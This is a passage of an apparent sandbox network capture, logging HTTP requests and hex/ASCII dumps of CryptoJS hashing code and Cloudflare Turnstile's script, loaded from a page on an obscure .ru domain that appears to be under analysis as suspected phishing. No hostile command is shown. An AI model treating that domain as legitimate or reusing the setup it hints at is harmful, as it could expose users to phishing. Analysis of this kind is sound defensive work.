lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:24 UTC	704	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:24 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 19 Mar 2025 13:49:24 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 922d6ed39b60989e-MRS alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:24 UTC	688	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:24 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:24 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 922d6ed47d00e1c5-MRS alt-svc: h3=":443"; ma=86400
2025-03-19 13:49:24 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
